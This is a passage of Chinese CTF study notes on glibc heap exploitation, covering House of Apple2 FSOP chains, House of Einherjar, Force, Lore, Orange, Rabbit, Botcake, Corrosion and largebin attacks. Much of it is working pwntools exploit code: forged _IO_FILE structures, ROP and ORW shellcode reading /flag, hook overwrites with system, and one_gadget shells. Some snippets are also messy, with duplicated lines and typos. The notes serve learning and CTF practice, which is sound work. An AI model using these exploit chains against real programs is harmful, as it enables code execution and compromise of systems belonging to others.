33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#stdout = p64(0) #flags 
#stdout += p64(0)#IO read ptr
stdout = p64(0x7ffff7e03b20)#IO read end
stdout += p64(0x7ffff7e03b20)#I0 read base
stdout += p64(0)#IO write base
stdout += p64(0)#IO write ptr
stdout += p64(0)#IO write end
stdout += p64(0)#IO buf base
stdout += p64(0)#IO buf end
stdout += p64(0)#_IO_save_base
stdout += p64(0)#_IO_backup_base
stdout += p64(0)#_IO_save_end
stdout += p64(0)#_markers
stdout += p64(0)#chain
stdout += p64(0)
stdout += p64(0xffffffffffffffff)#old_offset
stdout += p64(0)
stdout += p64(addr2+0x30)#_lock
stdout += p64(0)*2
stdout += p64(addr1)#_wide_data
stdout += p64(0)*6
stdout += p64(_IO_wfile_jumps-0x20)#vtable
edit(2,stdout)
#wide_data = p64(0) #flags
#wide_data += p64(0)#IO read ptr
wide_data = p64(0)#IO read end
wide_data += p64(0)#I0 read base
wide_data += p64(0)#IO write base
wide_data += p64(1)#IO write ptr
wide_data += p64(0)#IO write end
wide_data += p64(0)#IO buf base
wide_data += p64(0)#IO buf end
wide_data += p64(addr2+0x10)#_IO_save_base
wide_data += p64(0)#_IO_backup_base
wide_data += p64(0)#_IO_save_end
wide_data += p64(0)#_markers
wide_data += p64(addr1)#chain
wide_data += p64(0)
wide_data += p64(0xffffffffffffffff)#old_offset
wide_data += p64(0)
wide_data += p64(0)#_lock
wide_data += p64(0)*2
wide_data += p64(0)#_wide_data
wide_data += p64(0)*7
wide_data += p64(addr1+0x80) #28
wide_data += p64(system)
edit(1,wide_data)

(6)2.39 House of Apple2(orw)

1.shellcode

这个片段可以控制rsp,并且后面有return,那我们把攻击代码写在rsp的地方就可以执行,但是不能写orw了,因为没有pop rdx,所以调用mprotect,获取shell写shellcode

我们可以发现所有寄存器的值都是由r12控制的但是r12的值错误,我们要找到一个可以控制r12,且有call的

1
2
svcudp_reply = libc_base+0x179220+29
swapcontext = libc_base+0x5814d

img

img

在2.39svcudp_reply+26刚好可以满足,原本2.35下svcudp_reply+26可以直接用rdi控制rbp,再接leave ret就可以控制rsp了

rax就是largebin attack的头

img

注:这里我们要控制rsp的值,与rcx的值,因为push rax后rsp = rax,并且push的时候rsp的值要有地址

我们将rcx = mprotect参数设置好,后面就会调用成功,并且后面还有个ret 这时候就会执行rsp的内容,我们将orw写在这里就好

rsp = &addr

add = &orw

第一个img

第二个

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#fake_io = p64(0) #flags 
#fake_io += p64(0)#IO read ptr
fake_io = p64(0)#IO read end
fake_io += p64(0)#I0 read base
fake_io += p64(0)#IO write base
fake_io += p64(1)#IO write ptr
fake_io += p64(0)#IO write end
fake_io += p64(0)#IO buf base
fake_io += p64(0)#IO buf end
fake_io += p64(addr1+0x10)#_IO_save_base r12
fake_io += p64(0)#_IO_backup_base
fake_io += p64(0)#_IO_save_end
fake_io += p64(0)#_markers
fake_io += p64(0)#chain
fake_io += p64(0)
fake_io += p64(0xffffffffffffffff)#old_offset
fake_io += p64(0)
fake_io += p64(0x7ffff7e05700)#_lock
fake_io += p64(0)
fake_io += p64(0)
fake_io += p64(addr2)#_wide_data
fake_io += p64(0)*6
fake_io += p64(_IO_wfile_jumps)#vtable
fake_io += p64(addr2+0x80) #28
fake_io += p64(svcudp_reply)
edit(2,fake_io)
payload = b'a'*0x18+p64(addr1+0x10)+p64(addr0+0x10)+p64(swapcontext) addr1 = payload
payload = payload.ljust(0x68,b'a')+p64(addr1-0x6f0)+p64(0x3000)+p64(addr1+0x500) #rdi rsi rsp = flag{......}
payload = payload.ljust(0x88,b'a')+p64(7) #rdx
payload = payload.ljust(0xa0,b'a')+p64(addr1+0xf8)+p64(mprotect) #rsp=&orw-8 rcx
payload = payload.ljust(0xe0,b'a')+p64(addr1) #pre rcx 有个地址就行
orw = asm('''
mov rdi, 0x67616c662f
push rdi
mov rdi, rsp
mov rax, 2
xor rsi, rsi
syscall
mov rdi,rax
mov rsi, rbp
mov rdx, 0x100
xor rax, rax
syscall
mov rdi, 1
mov rdx, rax
mov rax, 1
syscall
xor rax, rax
add rax, 60
syscall
''')
edit(1,payload+p64(addr1+0x100)+orw) #orw addr

为什么rsp=&orw-8

因为ret = addr1+0x100,这样就会执行到orw但是rsp也要跟上,ret后rsp+8就等于&orw

2.ROP puts

1
2
3
4
5
6
7
orw = p64(pop_rsi) + p64(flag)*6+ p64(pop_rdi) +p64(0xffffffffffffffff)+ p64(open_addr)   #*rdx+0xe0=rcx = addr
orw += p64(pop_rdi) + p64(3)+p64(pop_rsi) + p64(flag_addr) +p64(pop_rdx)+p64(0x100)+p64(0)*4+p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(write_addr)+b'/flag\x00\x00\x00'
payload = b'a'*0x18+p64(addr1)+p64(addr1+0x10)+p64(magic2) #addr1 = &payload =rax rsp
payload = payload.ljust(0x68,b'a')+p64(libc_base)+p64(0x100000) #rdi rsi
payload = payload.ljust(0x88,b'a')+p64(0) #rdx
payload = payload.ljust(0xa0,b'a')+p64(_IO_2_1_stderr_addr-0x8)+orw #rsp=&pop_rdi-0x8 rcx=orw

flag = /flag\x00\x00\x00 这里为什么写这么多flag,因为rdx+0xe0=rcx = addr,rcx的值要是一个地址

为什么rsp=&pop_rdi-0x8

因为ret后rsp+8,写&pop_rdi-0x8,这样执行完pop_rsp,以及ret后,就会接着执行pop rdi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
fake_io = p64(0) #flags 
fake_io += p64(0x7ffff7e04643)#IO read ptr
fake_io = p64(0x7ffff7e04643)#IO read end
fake_io += p64(0)#I0 read base
fake_io += p64(0)#IO write base
fake_io += p64(1)#IO write ptr
fake_io += p64(0)#IO write end
fake_io += p64(0)#IO buf base
fake_io += p64(0)#IO buf end
fake_io += p64(addr1)#_IO_save_base
fake_io += p64(0)#_IO_backup_base
fake_io += p64(0)#_IO_save_end
fake_io += p64(0)#_markers
fake_io += p64(0)#chain
fake_io += p64(0)
fake_io += p64(0xffffffffffffffff)#old_offset
fake_io += p64(0)
fake_io += p64(0x7ffff7e045c0)#_lock
fake_io += p64(0)*2
fake_io += p64(_IO_2_1_stdout_addr)#_wide_data &flags
fake_io += p64(0)*6
fake_io += p64(_IO_wfile_jumps-0x20)#vtable
fake_io += p64(_IO_2_1_stdout_addr+0x80) #28
fake_io += p64(magic) #magic = svcudp_reply+29

(7)printf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fake_file=flat({
0x0: p64(addr1+0x10), #&orw
0x8: "/flag\0",
0x10: p64(libc_base+libc.symbols['setcontext'] +61),#_wide_vtable+0x18 也就是这里__overflow
0x20: p64(libc_base+libc.symbols['_IO_2_1_stdout_']), #_IO_write_base
0x88: p64(libc_base+libc.symbols['_environ']-0x10), #_lock
0xa0: p64(libc_base+libc.symbols['_IO_2_1_stdout_']),#rsp _wide_data
0xa8: p64(pop_rsp),
0xd8: p64(libc_base+libc.symbols['_IO_wfile_jumps'] +0x10),
0xe0: p64(libc_base+libc.symbols['_IO_2_1_stdout_']-8), #_wide_vtable
}, filler=b"\x00")
_vfprintf_internal
->__printf_buffer_to_file_done
->_IO_wfile_seekoff/*(fp->vtable+0x38)(fp) #_IO_wfile_jumps+0x10
->_IO_switch_to_wget_mode
->(fp->_wide_data->_wide_vtable + 0x18)

_IO_wfile_seekoff中,还有一些条件需要满足,首先rcx寄存器需要不为0,_IO_wfile_seekoff要求rcx不为 0,并非 “寄存器本身不能为 0”,而是通过**rcx**传递的**mode**参数必须是 “合法的非 0 值”—— 因为mode是函数判断 “操作合法性”“缓冲区同步逻辑” 的前提,若mode=0,函数失去核心判断依据,无法安全、正确地执行 “宽字符文件偏移” 操作。

总结一下所有的调用链

1
2
3
p *(struct _IO_FILE_plus *)
p *(struct _IO_wide_data *)
p *(struct _IO_jump_t *)

exit调用io虚表的偏移是0x18

1
2
3
__run_exit_handlers
-->>_IO_cleanup #_IO_flush_all_lockp
-->>*(fp->vtable+0x18)(fp) #_IO_wfile_overflow

printf 调用io虚表偏移0x38

1
2
3
_vfprintf_internal
-->>__printf_buffer_to_file_done
-->>*(fp->vtable+0x38)(fp) #_IO_wfile_xsputn

puts也是调用io虚表偏移0x38

1
2
3
_vfprintf_internal
-->>__printf_buffer_to_file_done
-->>*(fp->vtable+0x38)(fp) #_IO_wfile_xsputn

我们打io不管他是调用偏移多少的,我们通过改的偏移让他调用_IO_wfile_overflow

_IO_wfile_jumps: puts和printf我们都将虚表改成_IO_wfile_jumps-0x20

_IO_wfile_seekoff: puts和printf我们都将虚表改成_IO_wfile_jumps+0x10

​ exit我们将虚表改成_IO_wfile_jumps-0x10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
_IO_wfile_overflow
-->>_IO_wdoallocbuf
-->>_IO_WDOALLOCATE
-->>*(fp->_wide_data->_wide_vtable + 0x68)(fp)/
*(fp->_wide_data->_wide_vtable->_doallocate)(fp)
->_IO_wfile_seekoff
->_IO_switch_to_wget_mode
->*(fp->_wide_data->_wide_vtable + 0x18)
*(fp->_wide_data->_wide_vtable->__overflow)(fp)
fake_io = flat({
#0x0: /bin/sh\x00 这个用上一个堆块0x8结尾改pre_size
#0x8: p64(0),
0x8: p64(1),,
0x58: p64(0xffffffffffffffff),
0x78: p64(libc_base+libc.symbols['_environ']-0x10), #_lock
0x80: p64(addr1),
0xb8: p64(libc_base+libc.symbols['_IO_wfile_jumps']),
0xc0: p64(addr1 + 0x80),
0xc8: p64(system)
}, filler=b'\x00')
fake_file=flat({
#0x0: p64(addr1+0x10), #&orw 这个用上一个堆块0x8结尾改pre_size
#0x8: "/flag\0",
0x00: p64(libc_base+libc.symbols['setcontext'] +61),#_wide_vtable+0x18
0x10: p64(addr1+0x10), #_IO_write_base rdx
0x78: p64(libc_base+libc.symbols['_environ']-0x10), #_lock
0x90: p64(addr1),#rsp _wide_data
0x98: p64(pop_rsp),
0xc8: p64(libc_base+libc.symbols['_IO_wfile_jumps'] +0x10),
0xd0: p64(addr1+8), #_wide_vtable
}, filler=b"\x00")
orw = p64(pop_rsi) + p64(0)+ p64(pop_rdi)+p64(flag)+p64(pop_rdx)+p64(0)+p64(0)*4+p64(open_addr) #*rdx+0xe0 = addr
orw += p64(pop_rdi) + p64(3)+p64(pop_rsi) + p64(flag_addr) +p64(pop_rdx)+p64(0x100)+p64(0)*4+p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(write_addr)+b"/flag\x00\x00\x00"


1.House Of Einherjar

其实就是off by null+堆叠

隐式链表:通过pre_size找上一个堆块,通过size找下一个堆块

补充一写,还是有些不同

当释放堆块下一个块是top_chunk的时候,free会与相邻后向地址进行合并,并且放入top_chunk,在申请时,就会从前面那个堆块的地址中申请出来

两个相邻的堆块,前一个堆块是free状态,free后一个堆块,会和前一个堆块合并也就是unlink,如何找到前一个堆块,根据的是pre_size为的大小(其实就是两个堆块头部的偏移),还要绕过unlink,也就是前一个堆块的size位与后一个堆块的pre_size位相等

虽说是相邻的(并且已经被free的堆块必须在前面也就是低地址),但是加入伪造了一个堆块在栈上

fake_chunk的prev_size、size部分设置为0x100,fd、bk、fd_nextsize、bk_nextsize设置为fake_chunk自身地址,这样做是为了绕过free()函数后向合并时最后的unlink检查

img

我们可以将后一个堆块的pre_size位设为负数,就可以找到栈上的那个堆块

0x555555758049-0x7fffffffdf00=0xffffd5555575a140

img

例题:tinypad

当got表不可以打的时候,我们可以打free_hook,free_hook不可打,利用__environ,泄露栈地址打返回地址,返回地址不可打,我们可以打main函数的返回地址

img

将堆块伪造在0x602040

img

pre_size位设置的和将要被free的堆块大小相同,size位设为两个堆块的偏移

fd、bk、fd_nextsize、bk_nextsize设置为fake_chunk自身地址

将要被free的堆块在0x6030f0

img

将pre_size设为两个堆块的偏移,将利用0ff by null 将 pre_inuse设置为0

然后free堆块,top_chunk的地址就编程伪造堆块的地址了(0x602040)

显示不是但是申请就是

img

存储堆块指针的数组在0x602140

我们从0x602040申请0xe0,在申请一个堆块数据段刚好申请在0x602140

req = 0x602140-0x602040 - 0x20(0x10)

img

然后在申请一个堆块,这个堆块的数据段,就刚好位于储存指针的数组的位置,然后就是更改指针,实现任意地址写了

然后就是如何泄露栈地址,与更改返回地址了

img

这样构造

将堆块1的指针改为__environ,然后打印堆块1就可以泄露栈地址

将堆块2的指针改为记录堆块1指针数组的地址,这样通过堆块2,更改堆块1的指针

通过将堆块1的指针改为返回地址的栈的值

img

然后更改堆块1的内容为ogg即可,这道题改的是main函数的返回地址,free_hook和返回地址都改不了,不知道为啥

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
dd(0xe8, b"A"*0xe8)
add(0xf0, b"B"*0xf0)
add(0x100, b"C"*0x100)
add(0x100, b"D"*0x100)
#bug()
free(3)
p.recvuntil(b' # INDEX: 3')
fd =u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('fd-> '+hex(fd))
libc_base = fd - 0x3c4b78
log.success('libc_base-> '+hex(libc_base))
#bug()
free(1)
p.recvuntil(b' # INDEX: 1')
p.recvuntil(b' # CONTENT: ')
heap_addr = u32(p.recvuntil('\x0a\x0a\x0a')[0:3].ljust(4,b'\x00'))-0x1f0
log.success('heap_addr-> '+hex(heap_addr))
chunk_list_addr=0x602040
chunk2_addr=heap_addr+0xf0
offset=chunk2_addr-chunk_list_addr
log.success('chunk_list_addr >> '+hex(chunk_list_addr))
log.success('chunk2_addr >> '+hex(chunk2_addr))
log.success('offset >> '+hex(offset))
add(0xe8, b'A'*(0xe0) + p64(offset))
#bug()
free(4)
payload=p64(0x100)+p64(offset)
payload+=p64(chunk_list_addr)*4
edit(2, payload)
#bug()
free(2)
payload = p64(0xe8) + p64(libc_base + libc.symbols["__environ"])
payload += p64(0x100) + p64(0x602148)
add(0xe0, "t"*0xe0)

add(0x100, payload)
bug()
p.readuntil("# CONTENT: ")
stack_env=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0xf0
edit(2,p64(stack_env))
gadget = [0x4527a,0xf03a4,0xf1247]
gadget_addr = libc_base + gadget[2]
edit(1,p64(gadget_addr))
bug()
p.readuntil("(CMD)>>>")
p.sendline("Q")
p.interactive()

2.house of froce

控制top_chunk的地址

top_chunk的size位大小有显示,我们只能申请堆块在堆得内存区域,而申请不到在bss段上(bss段在堆得下方,所以永远申请不到),如果我们改变top_chunk的size位使他为-1(0xffffffffffffffff),我们就可以申请一个超级大的堆块,使他转一圈转到bss段上

在2.23和2.27的libc版本中,由于没有对top chunk的size合法性进行检查,因此如果我们能够通过堆溢出控制top chunk的size位为-1

img

如何计算:

req = dest-old_top - 0x20(0x10)

dest就是我们将要写入的地址

1.如何修改top_chunk的size位

申请一个挨着top_chunk的堆块堆溢出就可以修改

2.需要泄露出top_chunk的地址,这道题直接打印出每个堆块的指针的地址,通过紧挨着top_chunk那个堆块就可以算出

3.这道题打malloc_hook,为什么没有用ogg

因为知道指针的地址,也就知道/bin/sh写入的地址,将malloc_hook改为system,申请堆块时候,写上/bin/sh的地址就可以(或者通过realloc调整栈帧)

例题:gyctf_2020_force

1
2
3
4
5
6
7
8
9
10
11
12
13
libc_base = add(0x200000,b'aaaa')+0x200ff0
malloc = libc_base+libc.sym['__malloc_hook']
system = libc_base+libc.sym['system']
log.success('libc_base->'+hex(libc_base))
payload =p64(0)*2+b'/bin/sh\x00'+p64(0xffffffffffffffff)
top_chunk = add(0x10,payload)+0x10
req = malloc -top_chunk-0x20
add(req,b'aaaa')
add(0x10,p64(system))
p.recvuntil("2:puts\n")
p.sendline('1')
p.recvuntil("size\n")
p.sendline(str(top_chunk))

3.house of lore

主要就是围绕smallbin的

1.堆块如何进入smallbin,当unsortbin中有一个堆块,在申请一个堆块,大于unsortbin中的堆块,且unsortbin中的堆块不能合并,或者合并后也达不到大小,就会把unsortbin放入smallbin当中

2.如何伪造堆块到smallbin中

首先申请一个0x100的堆块

在栈上伪造两个堆块,伪造他们的fd与bk,就像下面的一样

img

就像这样,然后将victim free掉(在这之前再申请一个堆块,防止与top chunk合并),他会进入unsortbin,然后,在申请一个大于他的堆块,他就会进入smallbin,然后再修改victim的bk指针,这时栈上的两个假的堆块就会进入smallbin中

img

然后我们再申请一个,victim就会被申请出来,smallbin先进先出,再申请一个,栈地址上的堆块就可以申请出来,就可以写数据,覆盖返回地址

4.House of Orange

概述

House of Orange 的利用比较特殊,首先需要目标漏洞是堆上的漏洞但是特殊之处在于题目中不存在 free 函数或其他释放堆块的函数。我们知道一般想要利用堆漏洞,需要对堆块进行 malloc 和 free 操作,但是在 House of Orange 利用中无法使用 free 函数,因此 House of Orange 核心就是通过漏洞利用获得 free 的效果。

原理

如我们前面所述,House of Orange 的核心在于在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。 这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

我们总结一下伪造的 top chunk size 的要求

  1. 伪造的 size 必须要对齐到内存页(addr+size是0x1000(4kb)对齐的)

因此我们伪造的 fake_size 可以是 0x0fe1、0x1fe1、0x2fe1、0x3fe1 等对 4kb 对齐的 size

  1. size 要大于 MINSIZE(0x10)
  2. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  3. size 的 prev inuse 位必须为 1

之后原有的 top chunk 就会执行_int_free从而顺利进入 unsorted bin 中。

5.house of rabbit

利用触发 malloc consolidate,将fastbin的堆块放入unsortbin时候不会对size位进行检查,来实现堆叠

触发malloc consolidate条件

1.fastbin当中没有合适大小的堆块,先合并,合并不够就会被放入unsortbin(smallbin)这时不会对size位进行检查就触发堆叠了

2.top chunk不够了

6.house of botcake

glibc2.29~glibc2.31,tcache加入了 key 值来进行 double free 检测,以至于在旧版本时的直接进行 double free 变的无效,所以自然就有了绕过方法,绕过方法其中比较典型的就是 house of botcake,他的本质也是通过 UAF 来达到绕过的目的

当 free 掉一个堆块进入 tcache 时,假如堆块的 bk 位存放的 key == tcache_key , 就会遍历这个大小的 Tcache ,假如发现同地址的堆块,则触发 Double Free 报错。

从攻击者的角度来说,我们如果想继续利用 Tcache Double Free 的话,一般可以采取以下的方法:

之前只是检查链表的上一个,这次是检查全部的链表

从攻击者的角度来说,我们如果想继续利用 Tcache Double Free 的话,一般可以采取以下的方法:

  1. 破坏掉被 free 的堆块中的 key,绕过检查(常用)
  2. 改变被 free 的堆块的大小,遍历时进入另一 idx 的 entries
  3. House of botcake(常用没有edit)

1.free后用uaf改bk,然后就可以再次free

2没学

3.House of botcacke 合理利用了 Tcache 和 Unsortedbin 的机制,同一堆块第一次 Free 进 Unsortedbin 避免了 key 的产生,第二次 Free 进入 Tcache,让高版本的 Tcache Double Free 再次成为可能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
for i in range(7):
add(i,0x100,b'aaaa')
add(7,0x100,b'aaaa')
add(8,0x100,b'aaaa')
add(9,0x10,b'/bin/sh\x00')
for i in range(7):
free(i)
free(8)
show(8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x1ebbe0
print(hex(libc_base))
free(7)
add(10,0x100,b'aaaa')
system = libc_base +libc.sym['system']
free(8)
free_hook=libc_base+libc.sym['__free_hook']
payload = b'a'*0xf0+p64(0)*3+p64(0x101)+p64(free_hook)
add(11,0x150,payload)
add(12,0x100,b'aaaa')
add(13,0x100,p64(system))
free(9)
for i in range(7):
add(i,0x100,b'aaaa')
add(7,0x100,b'aaaa')
add(8,0x100,b'aaaa')
add(9,0x10,b'/bin/sh\x00')
for i in range(7):
free(i)
free(8)

堆块8进入unsortbin

1
free(7)

堆块8与堆块7合并

1
malloc(0x100)

tcachebin中就空出来一个

然后再次

1
free(8)

这时8被free两次,一次在unsortbin中,另一次在tcachebin中,而且形成堆叠,8在7这个合并的大堆块中

1
add(11,0x150,payload)

申请一个大堆块,改堆块8的fd

tcachebin attack

提问:为什么不能先free(7)后free(8)

因为后面double free free(7),unsortbin链表就被破坏了

img

更高版本没有edit tcachebin attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
for i in range(7):
add(i,0x100,b'aaaa')
add(7,0x100,b'aaaa')
add(8,0x100,b'aaaa')
add(9,0x10,b'/bin/sh\x00')
for i in range(7):
free(i)
free(7)
show(7)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x1ebbe0
print(hex(libc_base))
free(8)
bug()
add(10,0x210,b'\x10')
add(11,0x100,b'/bin/sh\x00')
free(8)
free(10)
add(12,0x210,b'a'*0x110+p64(fd))
for i in range(7):
add(i,0x100,b'aaaa')
add(7,0x100,b'aaaa')
add(8,0x100,b'aaaa')
add(9,0x10,b'/bin/sh\x00')
for i in range(7):
free(i)
free(7)
free(8)

7,8堆块合并进入unsortbin

1
add(10,0x210,b'\x10')

将他两个申请出来,但是有uaf,所以7堆块和10堆块的指针指向同一块地址

1
add(11,0x100,b'/bin/sh\x00')

将tachebin空出来一个

1
free(8)

进入tachebin

1
2
free(10)
add(12,0x210,b'a'*0x120)

free10,又将10申请出来,12就可以覆盖到8

7.House-of-Corrosion

通过改bins的大小限制,使他可以存无限大的堆块的指针(就是往后面存),从而实现往任意地址写一个堆指针

但是只能在管理堆bins的后面

首先我们要修改bins的大小(任意地址写,unsortbinattack等)

例子1:fastbin

​ fastbinY[0]=0x7ffff07dcfc50

​ _IO_list_all=0x7ffff07dd06c0

chunk size = (delta * 2) + 0x20 ,delta为目标地址与fastbinY的offset

在这个例子中,chunk大小应该是(0x7ffff7dd06c0-0x7ffff7dcfc50)*2+0x20=0x1500字节

例子2:tcachebin

改mp_.tcache_bins = obstack_exit_failure-0x20

mp_.tcache_bins = libc.sym[‘obstack_exit_failure’]+libc_base

https://xz.aliyun.com/news/15532

​ entries[0] = 0x555555605090

​ 因为他这个是在堆上,所以我们可以直接让他在第一个堆块里面,然后改他为free_hook,然后再申请出来就可以了

img

我们将这个本来是0x40改成一个大的值之后当申请大的堆块他也会进入tcachebin,然后他的指针就会被存起来,在这个初始化堆块,0x5090就是存大小为0x20链表头的堆块指针,依次往后所以我们申请一个大堆块,他的指针就会往后面写,写道我们申请的第一个堆块我们就可以利用第一个堆块修改它

img

free大堆块之后

img

但是bins里面不会有,但是它实际上是有的

img

所以我们改成free_hook之后,直接申请就可以申请出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
add(0x100,b'a') #0
add(0x410,b'a') #1
add(0x100,b'a') #2
free(1)
add(0x410,b'a'*7)#1
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x1ebbe0
print(hex(libc_base))
add(0x500,b'3')
add(0x100,b'4')
p.sendline(b'2')
tcache_bins = libc.sym['obstack_exit_failure']+libc_base-0x20
p.send(p64(tcache_bins)+p64(tcache_bins)*4)
free(3)
bug()
free(0)
free_hook = libc_base+libc.sym['__free_hook']
add(0x100,b'a'*0x68+p64(free_hook))
system = libc.sym['system']+libc_base
add(0x500,p64(system))
free(2)
add(0x100,b'/bin/sh')
free(2)


原理:

Large Bin结构

large bin中一共包括63个bin,每个bin中的chunk大小不一致,而是出于一定区间范围内。此外这63个bin被分成了6组,每组bin中的chunk之间的公差一致

按范围递增(范围随 index 扩大):
- index 0~3:0x400~0x800 字节- index 4~59:0x800~ 几 KB- index 60~62:几 MB 至更大

大于512(1024)字节的chunk称之为large chunk,large bin就是用于管理这些large chunk的

被释放进Large Bin中的chunk,除了以前经常见到的prev_size、size、fd、bk之外,还具有fd_nextsizebk_nextsize:

fd_nextsize,bk_nextsize:只有chunk可先的时候才使用,不过用于较大的chunk(large chunk)

fd_nextsize指向下一个与当前chunk大小不同的(小的)第一个空闲块,不包含bin的头指针

bk_nextsize指向上一个与当前chunk大小不同的(大的)第一个空闲块,不包含bin的头指针

这里下一个上一个相较于链表头部,链表头部往下堆块的地址变小

  • fd_nextsize 方向 → size 递减
  • bk_nextsize 方向 → size 递增

一般空闲的large chunk在fd的遍历顺序中,按照由大到小的顺序排列。这样可以避免在寻找合适chunk时挨个遍历

Large Bin的插入顺序

在index相同的情况下:

1、按照大小,从大到小排序(小的链接large bin块)

2、如果大小相同,按照free的时间排序

3、多个大小相同的堆块,只有首堆块的fd_nextsizebk_nextsize会指向其他堆块,后面的堆块的fd_nextsizebk_nextsize均为0

4、size最大的chunk的bk_nextsize指向最小的chunksize最小的chunk的fd_nextsize指向最大的chunk

我们从链表头部开始遍历,直到找到第一个 size 大于等于待插入 chunk 的链表,找到后判断链表的 size 是否等于待插入chunk的size,如果相等,直接将这个 chunk 插入到当前链表的第二个位置,如果不相等,说明待插入的chunk比当前链表头结点的 size 大,那么我们将待插入的chunk作为当前链表的头结点,插入到符合size的bin index后

img

例:how2heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 1 // gcc -g -no-pie hollk.c -o hollk
2 #include <stdio.h>
3 #include <stdlib.h>
4
5 int main()
6 {
7
8 unsigned long stack_var1 = 0;
9 unsigned long stack_var2 = 0;
10
11 fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
12 fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
13
14 unsigned long *p1 = malloc(0x320);
15 malloc(0x20);
16 unsigned long *p2 = malloc(0x400);
17 malloc(0x20);
18 unsigned long *p3 = malloc(0x400);
19 malloc(0x20);
20
21 free(p1);
22 free(p2);
23
24 void* p4 = malloc(0x90);
25
26 free(p3);
27
28 p2[-1] = 0x3f1;
29 p2[0] = 0;
30 p2[2] = 0;
31 p2[1] = (unsigned long)(&stack_var1 - 2);
32 p2[3] = (unsigned long)(&stack_var2 - 4);
33
34 malloc(0x90);
35
36 fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
37 fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
38
39 return 0;
40 }

free(p1)

free(p2)

img

malloc(0x90)

从堆块1中切割,遍历时将堆块1放入smalbin,堆块2largebin,切割堆块1,堆块1,进入unsortbin

free(3)

img

然后修改p2,size位改为0x3f1,bk_nextsize = stack2-0x20 ,bk = stack1-0x10

img

malloc(0x90)

还是从堆块1中切割,堆块1进入smallbin,堆块3进入largebin,切割堆块1,堆块1,进入unsortbin

在堆块3挂入largebin的时候P3_size > P2_size 就会执行

img

1
2
3
4
5
6
7
8
else
{
P3->fd_nextsize = P2; //P3的fd_nextsize要修改成P2的头指针
P3->bk_nextsize = P2->bk_nextsize; //P3的bk_nextsize要修改成P2的bk_nextsize指向的地址
P2->bk_nextsize = P3; //P2的bk_nextsize要修改成P3的头指针
P3->bk_nextsize->fd_nextsize = P3; //P3的bk_nextsize所指向的堆块的fd_nextsize要修改成P3的头指针
}
bck = P2->bk; //bck等于P2的bk

执行之前: 执行之后:

img img 这个过程其实就是让p3加在fake_chunk2 与p2之间使得fake_chun2的fd_nextsize=p2

  • P2->bk_nextsize->fd_nextsize = stack_var2_addr
  • P3->bk_nextsize = P2->bk_nextsize
  • P3->bk_nextsize->fd_nextsize = P3

那么就可以导出结论:stack_var2的值 = P3头指针,所以stack_var2变量中的内容就被修改成了P3的头指针

看图片中红色的字

还有fd与bk

bck = P2->bk; //bck等于P2的bk

值得注意的是bck是p2的bk指针也就是fake_chunk的头部,后面p2的bk指针变了,但是bck没变还是fake_chunk的头部

img

1
2
3
4
5
mark_bin(av, victim_index);
P3->bk = p2->bk; //P3的bk指针要等于P2的bk指针
P3->fd = P2; //P3的fd指针要等于P2的头指针
P2->bk = P3; //P2的bk指针要等于P3的头指针
P2->bk(fake_chunk1)->fd = P3; //P2的bk指针指向的堆块的fd指针要等于P3的头指针

执行之前: 执行之后:

img img

这个过程其实就是让p3加在fake_chunk2与p2之间使得fake_chun1的fd=p3

总结:

2.30版本及之前

在2.30以前,缺少对largebin attack的检查,所以我们可以大胆的进行伪造,在插入一块新的largebin时,会将当前堆块的bk->fd和bk_nextsize->fd_nextsize写成当前堆块的地址,如下图,所以如果根据下图把bk构造成targetaddr1-0x10,bk_nextsize构造成targetaddr1-0x20,即可在插入largebin时(插入的要大于P2)触发unlink进行同时改写两处地址为heapaddr(插入堆块的头部)

img

2.30之后

2.30之后会进行如下两个检查

img

这就导致在申请的堆块大于最小chunk时我们不能随意地修改bk和bk_nextsize了,为了绕过这个检查,我们要使得当前申请的堆块小于目前的最小chunk(即它是新的最小),还记得为什么吗?上文中红色的部分,因为如果它是最小它会直接被链入,没有这些乱七八糟的检查,但这也导致他只能任意写bk_nextsize指向的位置,所以在这种情况下,可以将bk_nextsize赋成targetaddr-0x20

1
2
3
4
5
6
7
8
9
assert (chunk_main_arena (bck->bk));//断言bck->bk属于main_arena
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; //这里的fwd可以粗略的认为是large_bin归属的main_arena
bck = bck->bk; //bck成了main_arena的bk指针指向的堆块
